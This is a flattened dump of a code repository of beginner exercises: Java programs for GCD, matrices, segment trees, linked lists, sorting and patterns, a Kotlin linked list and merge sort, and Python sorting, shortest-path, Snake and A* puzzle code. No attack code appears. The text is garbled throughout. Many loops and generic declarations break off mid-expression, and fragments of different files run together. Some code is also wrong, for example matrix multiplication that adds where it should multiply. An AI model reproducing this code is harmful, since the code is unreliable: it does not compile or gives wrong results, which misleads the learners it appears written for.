Auto-generated method stub 56 | Scanner s=new Scanner(System.in); 57 | 58 | int n = s.nextInt(); 59 | int m = s.nextInt(); 60 | for(int i=0;i major numbers b -> minor number a%b ratio [first step] 5 | * b as a b as a%b [next steps] 6 | * 7 | * Author: LordRibblesdale 8 | * Method: recursive 9 | */ 10 | 11 | import java.util.Scanner; 12 | 13 | public class MCD { 14 | public static long eul(long a, long b) { 15 | if (b == 0) { 16 | return a; 17 | } else { 18 | return eul(b, a%b); 19 | } 20 | } 21 | 22 | public static void main(String[] args) { 23 | long[] n = {0, 0}; 24 | Scanner in = new Scanner(System.in); 25 | 26 | for (int i = 0; i < 2; i++) { 27 | System.out.printf("Insert number here (%d): ", i+1); 28 | do { 29 | if (n[i] < 0) { 30 | System.out.printf("Exception: n[%d] is not positive.\nInsert again: ", i+1); 31 | } 32 | n[i] = in.nextLong(); 33 | } while (n[i] < 0); 34 | } 35 | 36 | if (n[0] > n[1]) { 37 | System.out.print("MCD is: " + eul(n[0], n[1])); 38 | } else { 39 | System.out.print("MCD is: " + eul(n[1], n[0])); 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /Java/Matrix Operation.java: -------------------------------------------------------------------------------- 1 | package com.company; 2 | 3 | import java.util.*; 4 | 5 | public class Matrix 6 | { 7 | public static void main(String[] args) { 8 | Scanner sc = new Scanner(System.in); 9 | int m, n; 10 | System.out.println("ENTER SIZE"); 11 | m = sc.nextInt(); 12 | n = sc.nextInt(); 13 | int A[][] = new int[m][n]; 14 | int l = m * n; 15 | int c = 0, s = 0; 16 | int a[] = new int[l]; 17 | System.out.println("ENTER ARRAY ELEMENTS"); 18 | for (int i = 0; i < m; i++) { 19 | for (int j = 0; j < n; j++) { 20 | A[i][j] = sc.nextInt(); 21 | a[c++] = A[i][j]; 22 | if (i == 0 || j == 0 || i == m - 1 || j == n - 1) { 23 | s += A[i][j]; 24 | } 25 | } 26 | 27 | } 28 | System.out.println("ORIGINAL MATRIX"); 29 | for (int i = 0; i < m; i++) { 30 | for (int j = 0; j < n; j++) { 31 | System.out.print(A[i][j]+"\t"); 32 | } 33 | System.out.println(); 34 | } 35 | System.out.println("SUM OF BOUNDARY ELEMENTS (UNSORTED) = "+s); 36 | int t; 37 | for (int i = 0; i < l-1; i++) { 38 | for (int j = 0; j < l-i-1; j++) { 39 | if(a[j]r|| e0) { 122 | int type = s.nextInt(); 123 | if(type == 1) { 124 | int idx = s.nextInt(); 125 | int val = s.nextInt(); 126 | update(1,0,n-1,idx,val); 127 | }else if(type == 2) { 128 | int l = s.nextInt(); 129 | int r = s.nextInt(); 130 | pair ans = query(1,0,n-1,l,r-1); 131 | System.out.println(ans.first +" " + ans.second); 132 | } 133 | } 134 | 135 | } 136 | 137 | } 138 | -------------------------------------------------------------------------------- /Java/No_Of_Islands.java: -------------------------------------------------------------------------------- 1 | package GFG; 2 | 3 | import java.util.ArrayList; 4 | 5 | public class No_Of_Islands { 6 | class Islands { 7 | int findIslands(ArrayList> A, int R, int C) { 8 | int M[][]=new int[R][C]; 9 | for(int i=0;i=0) && (r=0) && (c> list=new ArrayList<>(); 17 | public static void main(String args[]) { 18 | FastScanner fs=new FastScanner(); 19 | System.out.println("Size of Array is :"); 20 | Random r=new Random(); 21 | int n=r.nextInt(8); 22 | System.out.println(n); 23 | int []nums=new int[n]; 24 | for(int i=0;i> permuteUnique(int[] nums) { 34 | List> results = new ArrayList<>(); 35 | 36 | // count the occurrence of each number 37 | HashMap counter = new HashMap<>(); 38 | for (int num : nums) { 39 | if (!counter.containsKey(num)) 40 | counter.put(num, 0); 41 | counter.put(num, counter.get(num) + 1); 42 | } 43 | 44 | LinkedList comb = new LinkedList<>(); 45 | backtrack(comb, nums.length, counter, results); 46 | return results; 47 | } 48 | 49 | public static void backtrack( 50 | LinkedList comb, 51 | Integer N, 52 | HashMap counter, 53 | List> results) { 54 | 55 | if (comb.size() == N) { 56 | results.add(new ArrayList(comb)); 57 | return; 58 | } 59 | 60 | for (Entry entry : counter.entrySet()) { 61 | Integer num = entry.getKey(); 62 | Integer count = entry.getValue(); 63 | if (count == 0) 64 | continue; 65 | comb.addLast(num); 66 | counter.put(num, count - 1); 67 | backtrack(comb, N, counter, results); 68 | comb.removeLast(); 69 | counter.put(num, count); 70 | } 71 | } 72 | static final Random random=new Random(); 73 | static void ruffleSort(int[] a) { 74 | int n=a.length;//shuffle, then sort 75 | for (int i=0; i 0){ 31 | int n = sc.nextInt(); 32 | Node head = new Node(sc.nextInt()); 33 | Node tail = head; 34 | for(int i=0; ib) 15 | { 16 | gcd = b; 17 | } 18 | else if (b>a) 19 | { 20 | gcd = a; 21 | } 22 | 23 | while(true) 24 | { 25 | if(a% gcd ==0 && b% gcd==0) 26 | { 27 | System.out.println(gcd); 28 | break; 29 | } 30 | --gcd; 31 | } 32 | 33 | 34 | 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /Java/matriceMultiplication.java: -------------------------------------------------------------------------------- 1 | public class matriceMultiplication { 2 | 3 | public static void main(String[] args) { 4 | // ans.length=no of rows 5 | int[][] x = { { 2, 2, 3 }, { 3, 2, 4 }, { 1, 3, 4 } }; 6 | int[][] y = { { 3, 5, 7 }, { 4, 2, 1 }, { 3, 2, 1 } }; 7 | int ans[][] = new int[x.length][y[0].length]; 8 | 9 | for (int i = 0; i < ans.length; i++) { 10 | for (int j = 0; j < ans[0].length; j++) { 11 | int sum = 0; 12 | for (int k = 0; k < y.length; k++) { 13 | sum = sum + x[i][k] + y[k][j]; 14 | } 15 | ans[i][j] = sum; 16 | } 17 | 18 | } 19 | System.out.println("Left array"); 20 | printArray(x); 21 | System.out.println("Right array"); 22 | printArray(y); 23 | System.out.println("Answer array"); 24 | printArray(ans); 25 | 26 | } 27 | 28 | static void printArray(int[][] x) { 29 | for (int i = 0; i < x.length; i++) { 30 | for (int j = 0; j < x[i].length; j++) 31 | System.out.print(x[i][j] + "\t"); 32 | } 33 | System.out.println(); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Java/nthPrimeNumber.java: -------------------------------------------------------------------------------- 1 | // The following program will help us to display the nth Prime Number, as per the user's input. 2 | 3 | import java.util.Scanner; 4 | 5 | public class nthPrimeNumber{ 6 | public static void main(String args[]){ 7 | Scanner in = new Scanner(System.in); 8 | System.out.print("Enter the value of n to display the nth Prime Number: "); 9 | int n = in.nextInt(); 10 | int num = 1, count = 0; 11 | int i; 12 | while (count < n){ 13 | num++; 14 | for (i = 2; i <= num; i++){ 15 | if (num % i == 0) 16 | break; 17 | } 18 | if (i == num) 19 | count++; 20 | } 21 | System.out.println("The " + n + "th Prime Number is: " + num); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Java/palindromestring.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | class PallindromeString { 4 | public static void main(String args[]) { 5 | Scanner sc = new Scanner(System.in); 6 | System.out.println("Enter the String:"); 7 | String str1 = sc.next(); 8 | String str2 = ""; 9 | for (int i = str1.length() - 1; i >= 0; i--) { 10 | str2 += str1.charAt(i); 11 | } 12 | if (str1.equalsIgnoreCase(str2)) { 13 | System.out.println(str1 + " is a pallindrome."); 14 | } else { 15 | System.out.println(str1 + " is not a pallindrome."); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Java/pattern1.java: -------------------------------------------------------------------------------- 1 | package loops; 2 | import java.util.Scanner; 3 | public class Pattern1 { 4 | 5 | public static void main(String[] args) { 6 | // TODO Auto-generated method stub 7 | Scanner s=new Scanner(System.in); 8 | int n=s.nextInt(); 9 | int i;int j; 10 | for(i=1;i<=n;i++) 11 | { 12 | for(j=1;j<=i-1;j++) 13 | { 14 | System.out.print(" "); 15 | } 16 | for(j=1;j<=n-i+1;j++) 17 | { 18 | System.out.print("* "); 19 | } 20 | System.out.println(); 21 | } 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /Java/pattern2.java: -------------------------------------------------------------------------------- 1 | package loops; 2 | import java.util.Scanner; 3 | 4 | public class Pattern2 { 5 | public static void main(String[] args) { 6 | Scanner s=new Scanner(System.in); 7 | int n=s.nextInt(); 8 | int a=1; 9 | for(int i=1;i<=n;i++) 10 | { 11 | for(int j=1;j<=n-i;j++) 12 | { 13 | System.out.print(" "); 14 | } 15 | for(int j=1;j<=i;j++) 16 | { 17 | System.out.print(a++ +" "); 18 | } 19 | System.out.println(); 20 | } 21 | }} 22 | -------------------------------------------------------------------------------- /Java/pattern3.java: -------------------------------------------------------------------------------- 1 | package loops; 2 | import java.util.Scanner; 3 | public class Pattern3 { 4 | 5 | public static void main(String[] args) { 6 | // TODO Auto-generated method stub 7 | Scanner s=new Scanner(System.in); 8 | int n=s.nextInt(); 9 | int number=1; 10 | for(int i=1;i<=n;i++) 11 | { 12 | for(int j=1;j<=n;j++) 13 | { 14 | System.out.print(number ); 15 | } 16 | number++; 17 | System.out.println();} 18 | }} 19 | -------------------------------------------------------------------------------- /Java/pattern4.java: -------------------------------------------------------------------------------- 1 | package loops; 2 | import java.util.Scanner; 3 | public class Pattern4 { 4 | public static void main(String[] args) 5 | { 6 | Scanner s=new Scanner(System.in); 7 | int n=s.nextInt(); 8 | for(int i=1;i<=n;i++) 9 | { 10 | for(char j=97;j<=102;j++) 11 | { 12 | System.out.print(j+ " "); 13 | } 14 | System.out.println(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Java/positivenegativenumber.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | class positivenegative 3 | { 4 | public static void main(String args[]) 5 | { 6 | Scanner sc = new Scanner(System.in); 7 | int ar[]=new int[10]; 8 | System.out.println("Enter element in array"); 9 | for(int i=0;i0) 20 | { 21 | pos++; 22 | } 23 | else 24 | { 25 | neg++; 26 | } 27 | 28 | System.out.println("positive element :"+pos); 29 | System.out.println("negative element :"+neg); 30 | } 31 | } 32 | 33 | 34 | } -------------------------------------------------------------------------------- /Java/selectionsort.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | 4 | public class Selectionsort { 5 | 6 | void func() 7 | { 8 | Scanner sc = new Scanner(System.in); 9 | int ar[] = new int[5]; 10 | 11 | // step 1 input 12 | System.out.println("Enter element in array"); 13 | for (int i = 0; i < ar.length; i++) 14 | { 15 | ar[i] = sc.nextInt(); 16 | 17 | } 18 | // step 2 19 | for(int r=0 ; r<4 ;r++) 20 | { 21 | for (int c = r ; c <= 4 ; c++) 22 | { 23 | if(ar[r]>ar[c]) 24 | { 25 | int temp = ar[r]; 26 | ar[r]= ar[c]; 27 | ar[c]=temp; 28 | } 29 | } 30 | 31 | } 32 | 33 | // step 3 34 | System.out.println("-------------Sorted -----------"); 35 | for (int i = 0; i < ar.length; i++) 36 | { 37 | System.out.println(ar[i]); 38 | 39 | } 40 | } 41 | public static void main(String[] args) { 42 | 43 | Selectionsort obj = new Selectionsort(); 44 | obj.func(); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /Java/singlylinkedlist.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | class Node 4 | { 5 | int rollno; 6 | Node next; 7 | 8 | } 9 | public class linkedlistdemo //singly list 10 | { 11 | Node START; 12 | linkedlistdemo() //singly ;ist 13 | { 14 | START = null; 15 | } 16 | void addnode() 17 | { 18 | System.out.println("Enter your roll no"); 19 | Scanner sc2 = new Scanner(System.in); 20 | int rn = sc2.nextInt(); 21 | 22 | Node newnode = new Node(); 23 | newnode.rollno=rn; 24 | newnode.next=null; 25 | if(START==null) 26 | { 27 | START=newnode; 28 | } 29 | else 30 | { 31 | 32 | Node current=START; 33 | while(current.next !=null) 34 | { 35 | current = current.next; 36 | } 37 | current.next=newnode; 38 | 39 | } 40 | 41 | System.out.println("Data inserted...."); 42 | 43 | 44 | 45 | } 46 | void deletenodebegin() 47 | { 48 | if(START ==null) 49 | { 50 | System.out.println("list is empty"); 51 | } 52 | else 53 | { 54 | 55 | System.out.println("Deleted : "+START.rollno); 56 | START = START.next; 57 | 58 | } 59 | } 60 | void deletenodelast() 61 | { 62 | 63 | if(START ==null) 64 | { 65 | System.out.println("list empty"); 66 | 67 | } 68 | else 69 | { 70 | int flag=0; 71 | Node current=START; 72 | Node pre = current; 73 | while(current.next != null) 74 | { 75 | pre = current; 76 | current = current.next; 77 | flag=1; 78 | } 79 | if(flag ==0) 80 | { 81 | START =null; 82 | } 83 | pre.next=null; 84 | System.out.println("DEleted element : "+current.rollno); 85 | } 86 | } 87 | void traversenode() 88 | { 89 | if(START==null) 90 | { 91 | System.out.println("List is empty"); 92 | 93 | } 94 | else 95 | { 96 | Node current; 97 | for(current = START ;current!=null;current=current.next) 98 | { 99 | System.out.print(" "+current.rollno); 100 | } 101 | } 102 | 103 | 104 | } 105 | void searchnode() 106 | { 107 | if(START ==null) 108 | { 109 | System.out.println("list is empty"); 110 | } 111 | else 112 | { 113 | System.out.println("Enter searching element"); 114 | Scanner sc3= new Scanner(System.in); 115 | int sea = sc3.nextInt(); 116 | 117 | int count = 0; 118 | Node current; 119 | for(current=START;current != null;current=current.next) 120 | { 121 | if(current.rollno == sea) 122 | { 123 | count ++; 124 | break; 125 | } 126 | } 127 | if(count>0) 128 | { 129 | System.out.println("found"); 130 | } 131 | 132 | else 133 | { 134 | System.out.println("Not found"); 135 | } 136 | 137 | } 138 | } 139 | public static void main(String args[]) 140 | { 141 | linkedlistdemo obj = new linkedlistdemo(); 142 | while(true) 143 | { 144 | System.out.println("\nPress 1 for insert"); 145 | System.out.println("Press 2 for deletebegin"); 146 | System.out.println("Press 3 for traverse"); 147 | System.out.println("Press 4 for search"); 148 | System.out.println("Press 5 for exit"); 149 | System.out.println("Press 6 for deletelastnode"); 150 | 151 | System.out.println("Enter your choice"); 152 | Scanner sc = new Scanner(System.in); 153 | int ch = sc.nextInt(); 154 | 155 | switch(ch) 156 | { 157 | case 1: 158 | obj.addnode(); 159 | break; 160 | case 2: 161 | obj.deletenodebegin(); 162 | break; 163 | case 3: 164 | obj.traversenode(); 165 | break; 166 | case 4: 167 | obj.searchnode(); 168 | break; 169 | case 5: 170 | System.exit(0); 171 | case 6: 172 | obj.deletenodelast(); 173 | break; 174 | default: 175 | System.out.println("wrong choice"); 176 | } 177 | } 178 | } 179 | 180 | 181 | } 182 | -------------------------------------------------------------------------------- /Java/twoSum.java: -------------------------------------------------------------------------------- 1 | class Solution { 2 | public int[] twoSum(int[] nums, int target) { 3 | HashMap map=new HashMap<>(); 4 | for(int i=0;i( 12 | var data: T, 13 | var nextNode: Node? = null 14 | ) 15 | 16 | /** 17 | * Main Linked List Class That takes a starting node as a parameter 18 | */ 19 | class LinkedList(startData: T) { 20 | private var headNode: Node? = Node(startData, null) 21 | private var _size: Int = 0 22 | 23 | /** 24 | * Function adds elements at the front of the linked list 25 | */ 26 | fun addAtFront(inputData: T) { 27 | var x = Node(inputData, headNode) 28 | headNode = x 29 | _size++ 30 | } 31 | /** 32 | * Function adds element at a specified position in the linked list 33 | */ 34 | fun addAtPosition(inputData: T, position: Int) { 35 | var x = headNode 36 | var y:Node? = Node(inputData, null) 37 | var i = 0 38 | while (i != position-1){ 39 | i++ 40 | x = x!!.nextNode 41 | } 42 | y!!.nextNode = x!!.nextNode 43 | x!!.nextNode = y 44 | } 45 | 46 | /** 47 | * Returns the size of the LL 48 | */ 49 | fun size() = _size 50 | 51 | /** 52 | * Displays the linked list elements 53 | */ 54 | fun watch() { 55 | var y = headNode 56 | while (y != null) { 57 | print("${y.data}\t") 58 | y = y.nextNode 59 | } 60 | } 61 | 62 | /** 63 | * Finds the max value in LinkedList 64 | */ 65 | fun max():T { 66 | var x = headNode 67 | var max = x.data 68 | while (x != null){ 69 | if(max < x.data){ 70 | max = x.data 71 | } 72 | x = x.nextNode 73 | } 74 | return max 75 | } 76 | } 77 | 78 | /** 79 | * @usage 80 | */ 81 | fun main() { 82 | var x: LinkedList = LinkedList(100) 83 | x.addAtFront(20) 84 | x.addAtFront(30) 85 | 86 | x.addAtFront(40) 87 | x.addAtFront(60) 88 | x.addAtPosition(69, 2) 89 | x.watch() 90 | } -------------------------------------------------------------------------------- /Kotlin/merge_sort.kt: -------------------------------------------------------------------------------- 1 | fun mergeSort(list: List): List { 2 | if (list.size <= 1) { 3 | return list 4 | } 5 | 6 | val middle = list.size / 2 7 | var left = list.subList(0,middle); 8 | var right = list.subList(middle,list.size); 9 | 10 | return merge(mergeSort(left), mergeSort(right)) 11 | } 12 | fun merge(left: List, right: List): List { 13 | var indexLeft = 0 14 | var indexRight = 0 15 | var newList : MutableList = mutableListOf() 16 | 17 | while (indexLeft < left.count() && indexRight < right.count()) { 18 | if (left[indexLeft] <= right[indexRight]) { 19 | newList.add(left[indexLeft]) 20 | indexLeft++ 21 | } else { 22 | newList.add(right[indexRight]) 23 | indexRight++ 24 | } 25 | } 26 | 27 | while (indexLeft < left.size) { 28 | newList.add(left[indexLeft]) 29 | indexLeft++ 30 | } 31 | 32 | while (indexRight < right.size) { 33 | newList.add(right[indexRight]) 34 | indexRight++ 35 | } 36 | return newList; 37 | } 38 | 39 | fun main(args: Array) { 40 | val numbers = mutableListOf(38,27,43,3,9,82,10) 41 | val sortedList = mergeSort(numbers) 42 | println("Unsorted: $numbers") 43 | println("Sorted: $sortedList") 44 | } 45 | -------------------------------------------------------------------------------- /Linux Notes.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/harsh-dart/Harsh-Hacktoberfest2021/8f8d6564cea94195827843a3af989756b4ea921b/Linux Notes.pdf -------------------------------------------------------------------------------- /MethodOverload.java: -------------------------------------------------------------------------------- 1 | class Value { 2 | void DataType() { 3 | System.out.println("\tI dont know who i am"); 4 | } 5 | 6 | void DataType(int a) { 7 | System.out.println(a+"\tHi! I am an Integer"); 8 | } 9 | 10 | void DataType(float a) { 11 | System.out.println(a+"\tI am a floating number"); 12 | } 13 | 14 | void DataType(char a) { 15 | System.out.println(a+"\tHello! Its me character"); 16 | } 17 | 18 | void DataType(String a) { 19 | System.out.println(a+"\tThis is a String"); 20 | } 21 | } 22 | class MethodOverload { 23 | public static void main(String args[]) { 24 | Value val = new Value(); 25 | val.DataType(22); 26 | val.DataType(3.14f); 27 | val.DataType('p'); 28 | val.DataType("pi"); 29 | val.DataType(); 30 | } 31 | } 32 | 33 | 34 | -------------------------------------------------------------------------------- /PerfectNumber.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class PerfectNumber { 4 | 5 | public static void main(String args[]) { 6 | int sum = 0; 7 | Scanner sc = new Scanner(System.in); 8 | System.out.print("Pick a number: "); 9 | long number = sc.nextInt(), i; 10 | System.out.print("The divisors of " + number + " are: 1 , "); 11 | // Calculates the divisors of the given number 12 | for (i = 2; i <= number / 2; i++) { 13 | if (number % i == 0) { 14 | System.out.print(i + " , "); 15 | } 16 | } 17 | System.out.println(number); 18 | // Checks if it is a perfect number 19 | for(int j = 1; j < number; j++) 20 | { 21 | if(number % j == 0) 22 | { 23 | sum = sum + j; 24 | } 25 | } 26 | if(sum == number) // If sum is the same as number, it is a perfect number 27 | { 28 | System.out.println(number + " is a perfect number!"); 29 | } 30 | else // Otherwise it is not a perfect number 31 | { 32 | System.out.println(number + " is not a perfect number!"); 33 | } 34 | sc.close(); 35 | } 36 | 37 | 38 | } 39 | -------------------------------------------------------------------------------- /Python/BubbleSort.py: -------------------------------------------------------------------------------- 1 | 2 | # Bubble Sort in Python By Sant Kumar - StrixD 3 | 4 | def bubbleSort(arr): 5 | n = len(arr) 6 | 7 | # Traverse through all array elements 8 | for i in range(n): 9 | 10 | # Last i elements are already in place 11 | for j in range(0, n-i-1): 12 | 13 | # traverse the array from 0 to n-i-1 14 | # Swap if the element found is greater 15 | # than the next element 16 | if arr[j] > arr[j+1] : 17 | arr[j], arr[j+1] = arr[j+1], arr[j] 18 | 19 | # Driver code to test above 20 | arr = [64, 34, 25, 12, 22, 11, 90] 21 | 22 | bubbleSort(arr) 23 | 24 | print ("Sorted array is:") 25 | for i in range(len(arr)): 26 | print ("%d" %arr[i]), 27 | -------------------------------------------------------------------------------- /Python/Shortest Path.py: -------------------------------------------------------------------------------- 1 | def shortest_path(graph, start, stop, path, dis, min): 2 | if start == stop and (min == None or (dis <= min[1] and len(path) <= len(min[0]))): 3 | min = [path, dis] 4 | return min 5 | 6 | for a in graph.get(start, []): 7 | if a[0] not in path: 8 | tmp = shortest_path(graph, a[0], stop, path + [a[0]], dis + a[1], min) 9 | if tmp is not None: 10 | min = tmp 11 | 12 | return min 13 | 14 | 15 | if __name__ == '__main__': 16 | 17 | inp, case = input('Enter : ').split('/') 18 | 19 | graph = {} 20 | for a in inp.split(','): 21 | a = a.split() 22 | graph[a[0]] = graph.get(a[0], []) + [[a[2], int(a[1])]] 23 | 24 | for b in case.split(','): 25 | b = b.split() 26 | path = shortest_path(graph, b[0], b[1], [b[0]], 0, None) 27 | if path is None: 28 | print(f'Not have path : {b[0]} to {b[1]}') 29 | continue 30 | print(f'{b[0]} to {b[1]} : ' + '->'.join(path[0])) -------------------------------------------------------------------------------- /Python/Snake Game.py: -------------------------------------------------------------------------------- 1 | import turtle 2 | import time 3 | import random 4 | 5 | delay = 0.1 6 | 7 | #Score 8 | score = 0 9 | high_score = 0 10 | 11 | # Set up the Screen 12 | wn = turtle.Screen() 13 | wn.title("Snake Game By Sachin") 14 | wn.bgcolor("teal") 15 | wn.setup(width=600,height=600) 16 | wn.tracer(0) # Turns off the screen updates 17 | 18 | # Snake head 19 | head = turtle.Turtle() 20 | head.speed(0) 21 | head.shape("square") 22 | head.color("black") 23 | head.penup() 24 | head.goto(0,0) 25 | head.direction = "stop" 26 | 27 | # Snake Food 28 | Food = turtle.Turtle() 29 | Food.speed(0) 30 | Food.shape("circle") 31 | Food.color("red") 32 | Food.penup() 33 | Food.goto(0,100) 34 | 35 | 36 | segments = [] 37 | 38 | 39 | #pen 40 | pen = turtle.Turtle() 41 | pen.speed(0) 42 | pen.shape("square") 43 | pen.color("white") 44 | pen.penup() 45 | pen.hideturtle() 46 | pen.goto(0,220) 47 | pen.write("Score: 0 High Score: 0",align="center",font=("Courier",24,"normal")) 48 | pen.goto(0,200) 49 | pen.write("Press: 'W' for up, 'S' for Down, 'A' for left, 'D' for Right",align="center",font=("Courier",10,"normal")) 50 | 51 | # Functions 52 | def go_up(): 53 | if head.direction != "down": 54 | head.direction = "up" 55 | def go_down(): 56 | if head.direction != "up": 57 | head.direction = "down" 58 | def go_left(): 59 | if head.direction != "right": 60 | head.direction = "left" 61 | def go_right(): 62 | if head.direction != "left": 63 | head.direction = "right" 64 | 65 | 66 | def move(): 67 | if head.direction == "up": 68 | y = head.ycor() 69 | head.sety(y + 20) 70 | 71 | if head.direction == "down": 72 | y = head.ycor() 73 | head.sety(y - 20) 74 | 75 | if head.direction == "left": 76 | x = head.xcor() 77 | head.setx(x - 20) 78 | 79 | if head.direction == "right": 80 | x = head.xcor() 81 | head.setx(x + 20) 82 | 83 | # Keyboard Bidings 84 | wn.listen() 85 | wn.onkeypress(go_up,"w") 86 | wn.onkeypress(go_down,"s") 87 | wn.onkeypress(go_left,"a") 88 | wn.onkeypress(go_right,"d") 89 | 90 | # Main game loop 91 | while True: 92 | wn.update() 93 | # Check for the collision with the border 94 | if head.xcor()>290 or head.xcor()<-290 or head.ycor()>290 or head.ycor()<-290: 95 | time.sleep(1) 96 | head.goto(0,0) 97 | head.direction = "stop" 98 | 99 | #Hide the segments 100 | for segment in segments: 101 | segment.goto(1000,1000) 102 | 103 | #Clear the screen 104 | segments.clear() 105 | 106 | #Reset the score 107 | score = 0 108 | 109 | #Resert the delay 110 | delay = 0.1 111 | 112 | #Update the score display 113 | pen.clear() 114 | pen.write("Score: {} High Score: {}".format(score,high_score),align="center",font=("Courier",24,"normal")) 115 | 116 | # Check for the collision of food 117 | if head.distance(Food) < 20: 118 | # Move the food to a random spot 119 | x = random.randint(-290,290) 120 | y = random.randint(-290,290) 121 | Food.goto(x,y) 122 | 123 | #Add a segment 124 | new_segment = turtle.Turtle() 125 | new_segment.speed(0) 126 | new_segment.shape("square") 127 | new_segment.color("yellow") 128 | new_segment.penup() 129 | segments.append(new_segment) 130 | 131 | # Shorten the delay 132 | delay -= 0.001 133 | 134 | #Increase the score 135 | score += 10 136 | 137 | if score > high_score: 138 | high_score = score 139 | 140 | pen.clear() 141 | pen.write("Score: {} High Score: {}".format(score,high_score),align="center",font=("Courier",24,"normal")) 142 | 143 | #Move the end segments first in reverse order 144 | for index in range(len(segments)-1, 0, -1): 145 | x = segments[index-1].xcor() 146 | y = segments[index-1].ycor() 147 | segments[index].goto(x, y) 148 | 149 | #Move segments 0 to where the head is 150 | if len(segments) > 0: 151 | x = head.xcor() 152 | y = head.ycor() 153 | segments[0].goto(x, y) 154 | 155 | move() 156 | 157 | #Check for the head collision with the body segments 158 | for segment in segments: 159 | if segment.distance(head)<20: 160 | time.sleep(0.5) 161 | head.goto(0,0) 162 | head.direction = "stop" 163 | 164 | #Hide the segments 165 | for segment in segments: 166 | segment.goto(1000,1000) 167 | 168 | #Clear the screen 169 | segments.clear() 170 | 171 | #Reset the score 172 | score = 0 173 | 174 | #Resert the delay 175 | delay = 0.1 176 | 177 | #Update the score display 178 | pen.clear() 179 | pen.write("Score: {} High Score: {}".format(score,high_score),align="center",font=("Courier",24,"normal")) 180 | 181 | 182 | 183 | time.sleep(delay) 184 | 185 | 186 | 187 | 188 | wn.mainloop() -------------------------------------------------------------------------------- /Python/Triangle area.py: -------------------------------------------------------------------------------- 1 | # Sides of the triangle is a, b and c: 2 | a = float(input('Enter first side: ')) 3 | b = float(input('Enter second side: ')) 4 | c = float(input('Enter third side: ')) 5 | 6 | # calculate the semi-perimeter 7 | s = (a + b + c) / 2 8 | 9 | # calculate the area 10 | area = (s*(s-a)*(s-b)*(s-c)) ** 0.5 11 | print('The area of the triangle is %0.2f' %area) -------------------------------------------------------------------------------- /Python/aStarSearch.py: -------------------------------------------------------------------------------- 1 | from heapq import heappush, heappop, heapify 2 | import random 3 | import time 4 | 5 | """ 6 | opt = 1 -> h(n) : distance of n from the target calculated with manhattan distance 7 | opt = 2 -> h(n) : number of pieces in the wrong place 8 | opt = 2 -> dfs 9 | g(n) -> quantity of movements 10 | """ 11 | 12 | xs = [1, -1, 0, 0] 13 | ys = [0, 0, 1, -1] 14 | 15 | def manhattan(x, y, xs, ys): 16 | return abs(x-xs) + abs(y-ys) 17 | 18 | class Puzzle: 19 | def __init__(self): 20 | self.cont = 0 21 | self.puzzle = [] 22 | self.parent = None 23 | self.cost = 0 24 | 25 | def __eq__(self, other): 26 | return self.puzzle == other.puzzle 27 | 28 | def __lt__(self, other): 29 | return self.cost < other.cost 30 | 31 | def __str__(self): 32 | res = "" 33 | for i in range(0, 3): 34 | for j in range(0, 3): 35 | res += str(self.puzzle[i][j]) 36 | return res 37 | 38 | def createPuzzle(self): 39 | self.puzzle = [] 40 | choosen = [] 41 | 42 | while len(choosen) != 9: 43 | num = random.randint(1, 9) 44 | if not num in choosen: 45 | choosen.append(num) 46 | 47 | aux = [] 48 | for i in range(0, len(choosen)): 49 | aux.append(choosen[i] if choosen[i] != 9 else -1) 50 | if (i+1) % 3 == 0: 51 | self.puzzle.append(aux) 52 | aux = [] 53 | 54 | def printPuzzle(self): 55 | for i in range(0, 3): 56 | for j in range(0, 3): 57 | if j : print(" ", end="") 58 | print(self.puzzle[i][j], end="") 59 | print("") 60 | 61 | def printPathPuzzle(self): 62 | path = [] 63 | actual = self 64 | while True: 65 | path.append(actual) 66 | if actual.parent: 67 | actual = actual.parent 68 | else: 69 | break 70 | 71 | path = path[::-1] 72 | for i in range(0, len(path)): 73 | print("") 74 | path[i].printPuzzle() 75 | 76 | def findBlank(self): 77 | for i in range(0, 3): 78 | for j in range(0, 3): 79 | if self.puzzle[i][j] == -1: 80 | return i, j 81 | 82 | def f(self, opt): 83 | self.cost = self.g() + self.h(opt) 84 | 85 | def g(self): 86 | return self.cont; 87 | 88 | def h(self, opt): 89 | sum = 0 90 | 91 | posNums = { 92 | 1 : (0, 0), 93 | 2 : (0, 1), 94 | 3 : (0, 2), 95 | 4 : (1, 0), 96 | 5 : (1, 1), 97 | 6 : (1, 2), 98 | 7 : (2, 0), 99 | 8 : (2, 1) 100 | } 101 | 102 | for i in range(0, 3): 103 | for j in range(0, 3): 104 | if self.puzzle[i][j] != -1: 105 | if opt == 1: 106 | x, y = posNums[self.puzzle[i][j]] 107 | sum += manhattan(i, j, x, y) 108 | elif opt == 2: 109 | x, y = posNums[self.puzzle[i][j]] 110 | if x != i or y != j: sum += 1 111 | 112 | return sum 113 | 114 | def isSolved(self): 115 | if self == correctPuzzle: 116 | return True 117 | else: 118 | return False 119 | 120 | def isSolvable(self): 121 | if self.puzzle == []: return False 122 | inversions = 0 123 | aux = [] 124 | for i in range(0, 3): 125 | for j in range(0, 3): 126 | if self.puzzle[i][j] != -1: 127 | aux.append(self.puzzle[i][j]) 128 | 129 | for i in range(0, len(aux)): 130 | for j in range(i+1, len(aux)): 131 | if(aux[j] > aux[i]): 132 | inversions += 1 133 | 134 | if inversions%2 == 0: 135 | return True 136 | else: 137 | return False 138 | 139 | def solvePuzzle(self, opt = 1): 140 | if opt == 1 or opt == 2: 141 | self.astar(opt) 142 | else: 143 | self.dfs() 144 | 145 | def dfs(self): 146 | expandedNodes = 0 147 | visited = {} 148 | stack = [] 149 | 150 | stack.append(self) 151 | visited[hash(str(self))] = self 152 | 153 | while len(stack) != 0: 154 | actualPuzzle = stack.pop() 155 | 156 | expandedNodes += 1 157 | 158 | if actualPuzzle.isSolved(): 159 | print("\nThe solution was found with dfs") 160 | print("Depth: {}".format(actualPuzzle.cont)) 161 